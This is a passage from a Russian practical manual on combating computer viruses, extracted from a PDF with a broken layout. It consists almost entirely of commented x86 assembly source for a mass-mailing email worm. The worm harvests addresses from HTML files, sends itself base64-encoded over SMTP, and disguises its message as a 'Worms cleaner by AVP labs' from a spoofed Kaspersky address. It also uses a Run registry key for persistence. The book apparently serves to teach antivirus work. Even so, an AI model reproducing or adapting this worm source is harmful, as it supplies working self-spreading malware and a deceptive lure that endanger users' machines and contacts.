Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfWindows вирусы |
321 |
|
|
|
|
jnz |
err__ |
; то на выход |
push |
offset length2__ |
; |
push |
offset SMTPname |
; |
push |
00h |
; |
push |
00h |
; |
push |
offset reg6__ |
; |
push |
h_key |
; Получаем из реестра имя |
callx |
RegQueryValueExA |
; SMTP сервера |
test |
eax,eax |
; Если ошибка, |
jnz |
err__ |
; то на выход |
push |
h_key |
; |
callx |
RegCloseKey |
; Закрываем ключ реестра |
push |
offset wsadata1 |
; |
push |
0101h |
; Проводим инициализацию |
callx |
WSAStartup |
; |
test |
eax,eax |
; Если ошибка, |
jnz |
err__ |
; то на выход |
push |
offset SMTPname |
; Преобразуем имя SMTP |
callx |
gethostbyname |
; сервера |
mov |
esi,[eax+12] |
; |
lodsd |
|
; |
push |
dword ptr [eax] |
; Получаем IP адрес |
pop |
server_ip |
; SMTP сервера |
push |
0 |
; |
push |
1 |
; |
push |
2 |
; Создаем сокет |
callx |
socket |
; |
mov |
work_socket,eax |
; Сохраняем хэндл сокета |
inc |
eax |
; |
jz |
err__ |
; Если ошибка, то на выход |
push |
16 |
; Размер структуры |
push |
offset connect_struct |
; Cмещение на структуру |
push |
work_socket |
; Хэндл сокета |
callx |
connect |
; Присоединяемся |
inc |
eax |
; |
jz |
err__ |
; Если ошибка, то на выход |
push |
0 |
; |
push |
512 |
; |
push |
offset rcv_buff |
; |
push |
work_socket |
; Получаем данные |
callx |
recv |
; из сокета |
push |
50 |
; |
push |
offset host__ |
; Получаем имя |
callx |
gethostname |
; нашего компьютера |
322 |
|
Windows вирусы |
|
|
|
mov |
esi,offset hello__ |
; |
call |
l_str_mod |
; Подготавливаем приветствие |
push |
00h |
; |
push |
ecx |
; |
push |
offset hello__ |
; |
push |
work_socket |
; |
callx |
send |
; Отправляем приветствие |
push |
500 |
; |
callx Sleep |
; Пауза в 500 мс |
|
push |
0 |
; |
push |
512 |
; |
push |
offset rcv_buff |
; |
push |
work_socket |
; Получаем ответ |
callx |
recv |
; от сервера |
push |
00h |
; |
push |
dlina |
; |
push |
offset m_from |
; |
push |
work_socket |
; |
callx |
send |
; Посылаем "MAIL FROM:" |
push |
500 |
; |
callx Sleep |
; Пауза в 500 мс |
|
push |
0 |
; |
push |
512 |
; |
push |
offset rcv_buff |
; |
push |
work_socket |
; Получаем ответ |
callx |
recv |
; от сервера |
mov |
esi,offset r_to |
; |
call |
l_str_mod |
; Подготавливаем "RCPT TO:" |
push |
00h |
; |
push |
ecx |
; |
push |
offset r_to |
; |
push |
work_socket |
; |
callx |
send |
; Посылаем "RCPT TO:" |
push |
500 |
; |
callx Sleep |
; Пауза в 500 мс |
|
push |
0 |
; |
push |
512 |
; |
push |
offset rcv_buff |
; |
push |
work_socket |
; Получаем ответ |
callx |
recv |
; от сервера |
push |
00h |
; |
push |
6 |
; |
push |
offset data__ |
; |
push |
work_socket |
; |
callx |
send |
; Посылаем "DATA" |
Windows вирусы |
323 |
|
|
|
|
push |
500 |
; |
callx Sleep |
; Пауза в 500 мс |
|
push |
0 |
; |
push |
512 |
; |
push |
offset rcv_buff |
; |
push |
work_socket |
; Получаем ответ |
callx |
recv |
; от сервера |
push |
00h |
; |
push |
encoded_sz |
; |
push |
mHnd2 |
; |
push |
work_socket |
; |
callx |
send |
; Посылаем все письмо |
push |
500 |
; |
callx Sleep |
; Пауза в 500 мс |
|
push |
0 |
; |
push |
512 |
; |
push |
offset rcv_buff |
; |
push |
work_socket |
; Получаем ответ |
callx |
recv |
; от сервера |
push |
work_socket |
; |
callx closesocket |
; Закрываем сокет |
|
callx WSACleanup |
; Деинициализация |
|
ret |
|
; Возврат из подпрограммы |
;——————————————————————————----------------------- |
||
get_mails: |
|
|
push |
offset h_key |
; |
push |
01h |
; |
push |
00h |
; |
push |
offset reg7__ |
; |
push |
80000002h |
; Открываем нужный ключ |
callx |
RegOpenKeyExA |
; реестра |
test |
eax,eax |
; |
jnz |
err2__ |
; Если ошибка, то на выход |
push |
offset dvesti__ |
; |
push |
offset dir__ |
; |
push |
00h |
; |
push |
00h |
; |
push |
offset reg8__ |
; |
push |
h_key |
; Получаем из реестра путь к |
callx |
RegQueryValueExA |
; директории "Мои документы" |
test |
eax,eax |
; |
jnz |
err2__ |
; Если ошибка, то на выход |
push |
offset old_dir |
; |
push |
200 |
; Сохраняем текущую |
callx GetCurrentDirectoryA |
; директорию |
|
324 |
|
Windows вирусы |
|
|
|
push |
offset dir__ |
; Переходим в директорию |
callx |
SetCurrentDirectoryA |
; "Мои документы" |
push |
offset find_data |
; |
push |
offset mask__ |
; Ищем по маске |
callx |
FindFirstFileA |
; первый файл |
mov |
find_hndl,eax |
; Сохраняем хэндл поиска |
inc |
eax |
; |
jz |
err2__ |
; Если ошибка, то на выход |
eshe__: |
|
|
lea |
esi,[find_data+2ch] |
; Получаем e-mail адреса |
mov |
ecx,4 ptr[find_data+20h] |
; из найденного файла |
call |
cut_mail |
; и отправляем им "себя" |
push |
offset find_data |
; |
push |
find_hndl |
; |
callx |
FindNextFileA |
; Ищем следующий файл |
test |
eax,eax |
; Если еще файлы есть, то |
jnz |
eshe__ |
; продолжаем их обрабатывать |
push |
find_hndl |
; Закрываем |
callx |
FindClose |
; поиск |
push |
offset old_dir |
; Восстанавливаем текущую |
callx SetCurrentDirectoryA |
; директорию |
|
err2__: |
|
|
ret |
|
; Возврат из подпрограммы |
;——————————————————————————----------------------- |
||
cut_mail: |
|
|
mov |
fsize,ecx |
; Сохраняем размер файла |
push |
00000004h |
; |
push |
00001000h |
; |
push |
ecx |
; |
push |
0h |
; |
callx |
VirtualAlloc |
; Выделяем под файл памяти |
test |
eax,eax |
; |
jz |
err3__ |
; Если ошибка, то на выход |
mov |
mHnd,eax |
; Сохраняем хэндл |
push |
0 |
; |
push |
00000080h |
; |
push |
3 |
; |
push |
0 |
; |
push |
00000001h |
; |
push |
80000000h |
; |
push |
esi |
; |
callx |
CreateFileA |
; Открываем файл для чтения |
inc |
eax |
; |
jz |
err4__ |
; Если ошибка, то на выход |
Windows вирусы |
325 |
|
|
|
|
dec |
eax |
; |
mov |
fHnd,eax |
; Сохраняем хэндл файла |
push |
0 |
; |
push |
offset size2Read |
; |
push |
fsize |
; |
push |
mHnd |
; |
push |
fHnd |
; Читаем файл в выделенную |
callx |
ReadFile |
; память |
push |
fHnd |
; |
callx |
CloseHandle |
; Закрываем файл |
mov |
esi,mHnd |
; Ищем e-mail адрес в файле |
mov |
ecx,fsize |
; и отсылаем по нему |
call |
search__ |
; письмо с вложением |
err4__: |
|
|
push |
00004000h |
; |
push |
fsize |
; |
push |
mHnd |
; |
callx |
VirtualFree |
; Освобождаем память |
err3__: |
|
|
ret |
|
; Возврат из подпрограммы |
;——————————————————————————----------------------- |
||
search__: |
|
|
lea |
edi,mail_buff |
; |
t1__: |
|
; |
cmp |
dword ptr [esi],’iam"’ |
; Ищем строку ‘"mailto:’ |
jnz |
no__ |
; Возможно нашли ... |
cmp |
dword ptr [esi+4],’:otl’ |
; |
jz |
f__ |
; Точно нашли !!! |
no__: |
|
|
inc |
esi |
; Не нашли :( |
loop |
t1__ |
; Ищем до конца файла |
ret |
|
; Возврат из подпрограммы |
f__: |
|
|
lea |
esi,[esi+8] |
; esi указывает на e-mail |
rano__: |
|
; |
lodsb |
|
; Побайтно помещаем его |
stosb |
|
; в буфер |
dec |
ecx |
; |
cmp |
al,’"’ |
; Адрес заканчивается - ‘"’ |
jnz |
rano__ |
; |
mov |
byte ptr [edi-1],00h |
; Заменим нулевым байтом ‘"’ |
pusha |
|
; Сохраняем все в стэке |
call |
milo__ |
; Отправляем письмо |
popa |
|
; Восстанавливаем из стэка |
jmp |
search__ |
; Ищем следующий e-mail |
ret |
|
; Возврат из подпрограммы |
326 |
|
Windows вирусы |
|
||
;——————————————————————————----------------------- |
||
file_encode: |
|
|
push |
0 |
; |
push |
00000080h |
; |
push |
3 |
; |
push |
0 |
; |
push |
00000001h |
; |
push |
80000000h |
; |
push |
offset mem__ |
; Открываем temp.bak |
callx |
CreateFileA |
; для чтения |
inc |
eax |
; |
jz |
err41__ |
; Если ошибка, то на выход |
dec |
eax |
; |
mov |
fHnd,eax |
; Сохраняем хэндл |
push |
0 |
; |
push |
fHnd |
; |
callx GetFileSize |
; Получаем размер файла |
|
dec |
eax |
; Уменьшаем его на единицу |
mov |
orig_size,eax |
; Сохраняем в переменную |
push |
00000004h |
; |
push |
00001000h |
; |
push |
orig_size |
; |
push |
0h |
; |
callx |
VirtualAlloc |
; Выделяем памяти |
test |
eax,eax |
; |
jz |
err31__ |
; Если ошибка, то на выход |
mov |
mHnd,eax |
; Сохраняем хэндл |
push |
0 |
; |
push |
offset size2Read |
; |
push |
orig_size |
; |
push |
mHnd |
; |
push |
fHnd |
; |
callx |
ReadFile |
; Читаем файл в память |
push |
fHnd |
; |
callx |
CloseHandle |
; Закрываем файл |
;——————————————————————————----------------------- |
||
push |
00000004h |
; |
push |
00001000h |
; |
push |
50000 |
; |
push |
0h |
; |
callx |
VirtualAlloc |
; Выделяем 50000 байт памяти |
test |
eax,eax |
; |
jz |
err31__ |
; Если ошибка, то на выход |
mov |
mHnd2,eax |
; Сохраняем хэндл |
Windows вирусы |
327 |
||
|
|
|
|
|
mov |
edi,eax |
; |
|
lea |
esi,mail__ |
; |
|
mov |
ecx,sz1__ |
; Пишем начало письма |
|
rep |
movsb |
; в буфер |
|
push |
edi |
; |
|
mov |
eax,mHnd |
; |
|
mov |
edx,edi |
; Дописываем в буфер |
|
mov |
ecx,orig_size |
; основное тело письма в |
|
call |
encode_base64 |
; base64 кодировке |
|
pop |
edi |
; |
|
add |
edi,ecx |
; |
|
lea |
esi,end_mail__ |
; |
|
mov |
ecx,sz2__ |
; Дописываем в буфер конец |
|
rep |
movsb |
; письма |
|
sub |
edi,mHnd2 |
; Вычисляем длину письма |
|
mov |
encoded_sz,edi |
; сохраняем ее |
;——————————————————————————----------------------- |
|||
err41__: |
|
|
|
|
push |
00004000h |
; |
|
push |
orig_size |
; |
|
push |
mHnd |
; |
|
callx |
VirtualFree |
; Освобождаем память |
|
call |
get_mails |
; Пишем письма |
|
push |
00004000h |
; |
|
push |
50000 |
; |
|
push |
mHnd2 |
; |
|
callx |
VirtualFree |
; Освобождаем память |
err31__: |
|
|
|
|
ret |
|
; Возврат из подпрограммы |
;——————————————————————————----------------------- |
|||
encode_base64: |
|
; encode Base64 by Bumblebee |
|
|
xor |
esi,esi |
; Обнуляем esi |
|
call |
over_enc_table |
; Кладем в стэк смещение |
;——————————————————————————----------------------- |
|||
db |
"ABCDEFGHIJKLMNOPQRSTUVWXYZ" |
; |
|
db |
"abcdefghijklmnopqrstuvwxyz" |
; Таблица |
|
db |
"0123456789+/" |
; |
|
;——————————————————————————----------------------- |
|||
over_enc_table: |
|
; |
|
|
pop |
edi |
; Указатель на таблицу в edi |
|
push |
ebp |
; Кладем в стэк ebp |
|
xor |
ebp,ebp |
; |
baseLoop: |
|
|
|
|
movzx |
ebx,byte ptr [eax] |
; Помещаем в ebx байт [eax] |
|
shr |
bl,2 |
; делим его на 4 |
|
and |
bl,00111111b |
; Обнуляем два бита |
328 |
|
|
|
|
Windows вирусы |
|
|
|
|
||
mov |
bh,byte ptr [edi+ebx] |
; В bh кладем байт из |
òàáë. |
||
mov |
byte ptr [edx+esi],bh |
; Кладем в |
буфер байт |
â b_64 |
|
inc |
esi |
; Увеличиваем esi на 1 |
|
||
mov |
bx,word ptr [eax] |
; Помещаем |
в bx слово |
[eax] |
|
xchg |
bl,bh |
; меняем местами - bl и bh |
|||
shr |
bx,4 |
; Делим bx |
íà |
16 |
|
mov |
bh,0 |
; Обнуляем |
bh |
|
|
and |
bl,00111111b |
; Сбрасываем два бита в bl |
|||
mov |
bh,byte ptr [edi+ebx] |
; В bh кладем байт из табл. |
|||
mov |
byte ptr [edx+esi],bh |
; Кладем в |
буфер байт в b_64 |
||
inc |
esi |
; Увеличиваем esi на 1 |
|
||
inc |
eax |
; Увеличиваем eax |
|
||
mov |
bx,word ptr [eax] |
; Помещаем |
в bx слово [eax] |
||
xchg |
bl,bh |
; меняем местами - bl и bh |
|||
shr |
bx,6 |
; Делим bx |
íà |
64 |
|
xor |
bh,bh |
; Обнуляем |
bh |
|
|
and |
bl,00111111b |
; Сбрасываем два бита в bl |
|||
mov |
bh,byte ptr [edi+ebx] |
; В bh кладем байт из табл. |
|||
mov |
byte ptr [edx+esi],bh |
; Кладем в |
буфер байт в b_64 |
||
inc |
esi |
; Увеличиваем esi на 1 |
|
||
inc |
eax |
; Увеличиваем eax на 1 |
|
||
xor |
ebx,ebx |
; Обнуляем |
ebx |
|
|
movzx |
ebx,byte ptr [eax] |
; Помещаем |
â ebx áàéò [eax] |
||
and |
bl,00111111b |
; Сбрасываем два бита в bl |
|||
mov |
bh,byte ptr [edi+ebx] |
; В bh кладем байт из табл. |
|||
mov |
byte ptr [edx+esi],bh |
; Кладем в |
буфер байт в b_64 |
||
inc |
esi |
; Увеличиваем esi на 1 |
|
||
inc |
eax |
; Увеличиваем eax на 1 |
|
||
inc |
ebp |
; Увеличиваем ebp на 1 |
|
||
cmp |
ebp,24 |
; ebp = 24 |
? |
|
|
jna |
DontAddEndOfLine |
; Нет, конец строки не доб. |
|||
xor |
ebp,ebp |
; обнуляем |
ebp |
|
|
mov |
word ptr [edx+esi],0A0Dh |
; Кладем в |
буфер - CRLF |
||
inc |
esi |
; Увеличиваем esi на 1 |
|
||
inc |
esi |
; Увеличиваем esi на 1 |
|
||
test |
al,00h |
; |
|
|
|
org |
$-1 |
; Оптимизация |
|
|
|
DontAddEndOfLine: |
|
|
|
|
|
inc |
ebp |
; Увеличиваем ebp на 1 |
|
||
sub |
ecx,3 |
; Отнимаем |
îò ecx - 3 |
|
|
or |
ecx,ecx |
; Проверяем ecx = 0 |
|
||
jne |
baseLoop |
; Если нет, то работаем ... |
|||
mov |
ecx,esi |
; Помещаем |
â ecx - esi |
|
|
add |
edx,esi |
; Добавляем к edx - esi |
|||
pop |
ebp |
; Вынимаем |
из стэка ebp |
||
ret |
|
; Возврат из подпрограммы |
|||
;——————————————————————————-----------------------
Windows вирусы |
329 |
||
|
|
|
|
l_str_mod: |
|
|
|
|
xor |
ecx,ecx |
; Обнуляем ecx |
l__: |
|
|
; |
|
inc |
ecx |
; Увеличиваем ecx на 1 |
|
lodsb |
|
; |
|
test |
al,al |
; Ищем конец строки |
|
jnz |
l__ |
; |
; |
inc |
ecx |
; Увеличиваем ecx на 1 |
|
dec |
esi |
; Уменьшаем esi на 1 |
|
mov |
edi,esi |
; Помещаем в edi - esi |
|
mov |
ax,0d0ah |
; Кладем в ax - 13,10 |
|
stosw |
|
; И помещаем в [edi] |
|
ret |
|
; Возврат из подпрограммы |
;——————————————————————————----------------------- |
|||
reg__ |
db ‘SOFTWARE\Microsoft\Windows\CurrentVersion\Run’,0 |
||
reg2__ |
db ‘SysInit’,0 |
|
|
dll_ |
db ‘wininet.dll’,0 |
|
|
test_ |
db ‘InternetGetConnectedState’,0 |
|
|
reg3__ |
db ‘Software\Microsoft\Internet Account Manager\Accounts\’ |
||
Account_ID |
db ‘00000000’,0 |
|
|
reg4__ |
db ‘Software\Microsoft\Internet Account Manager’,0 |
||
reg5__ |
db ‘Default Mail Account’,0 |
|
|
reg6__ |
db ‘SMTP Server’,0 |
|
|
reg7__ |
db ‘Software\Microsoft\Windows\CurrentVersion\’ |
||
|
db ‘Explorer\Shell Folders’,0 |
|
|
reg8__ |
db ‘Personal’,0 |
|
|
t__: |
|
|
|
hello__ |
db ‘HELO ‘ |
|
|
host__ |
db |
50 dup (0) |
|
m_from |
db ‘MAIL FROM: support@kaspersky.com’,0dh,0ah |
||
dlina |
equ $-m_from |
|
|
r_to |
db ‘RCPT TO: ‘ |
|
|
mail_buff |
db |
100 dup(0) |
|
data__ |
db ‘DATA’,0dh,0ah |
|
|
mail__ |
db ‘SUBJECT: Worms cleaner by AVP labs’,0dh,0ah |
||
|
db ‘MIME-Version: 1.0’,0dh,0ah |
|
|
|
db ‘Content-Type: multipart/mixed; boundary=nf’,0dh,0ah |
||
|
db 0dh,0ah |
|
|
|
db ‘—nf’,0dh,0ah |
|
|
|
db 0dh,0ah |
|
|
|
db ‘This is ultimate i-worm finder and cleaner’,0dh,0ah |
||
|
db ‘Just run attachment and you will see’,0dh,0ah,0dh,0ah |
||
|
db ‘—nf’,0dh,0ah |
|
|
|
db ‘Content-Type: application; name=w_cleaner.exe’,0dh,0ah |
||
|
db ‘Content-Transfer-Encoding: base64’,0dh,0ah |
||
|
db 0dh,0ah |
|
|
330 |
|
|
|
|
Windows вирусы |
|
|
|
|
||
sz1__ |
equ $-mail__ |
|
|
||
end_mail__ |
db ‘—nf—’,0dh,0ah |
|
|||
|
db ‘.’,0dh,0ah |
|
|||
sz2__ |
equ $-end_mail__ |
|
|||
mem__ |
db ‘temp.bak’,0 |
|
|||
mask__ |
db ‘*.htm*’,0 |
|
|
||
worm_name |
db 0dh,0ah |
|
|
|
|
|
db ‘[_DIZ_IZ I_WORM ::FRAER::_]’,0dh,0ah |
||||
connect_struct |
dw |
|
2 |
; Семейство |
|
|
db |
|
0, 25 |
; Номер порта |
|
server_ip |
dd |
|
0 |
|
; IP адрес сервера |
|
db |
|
8 |
dup(0) |
; Не используется |
nine_ |
dd |
|
9h |
|
|
length2__ |
dd |
|
30dh |
|
|
zero_ |
dd |
|
0 |
|
|
dvesti__ |
dd |
|
200 |
|
|
work_socket |
dd |
|
? |
|
; |
find_hndl |
dd |
|
? |
|
; |
func_addr |
dd |
|
? |
|
; |
mHnd |
dd |
|
? |
|
; |
mHnd2 |
dd |
|
? |
|
; |
fsize |
dd |
|
? |
|
; |
fHnd |
dd |
|
? |
|
; |
size2Read |
dd |
|
? |
|
; |
tmp |
dd |
|
? |
|
; |
orig_size |
dd |
|
? |
|
; |
encoded_sz |
dd |
|
? |
|
; |
mail_size |
dd |
|
? |
|
; |
h_key |
dd |
|
? |
|
; |
t_handle |
dd |
|
? |
|
; |
handle_ |
dd |
|
? |
|
; |
find_data |
db |
|
313 dup(?) |
; |
|
old_dir |
db |
|
200 dup(?) |
; |
|
win_dir |
db |
|
200 dup(?) |
; |
|
SMTPname |
db |
|
30d dup(?) |
; |
|
dir__ |
db |
|
201 dup(?) |
; |
|
wsadata1 |
db |
|
400 dup(?) |
; |
|
sin |
db |
|
16 |
dup(?) |
; |
rcv_buff |
db |
|
512 dup(?) |
; |
|
;——————————————————————————-----------------------
.code
nop
;——————————————————————————-----------------------
end start
;—-8<——————————————[fraer.asm]———————————————8<—;
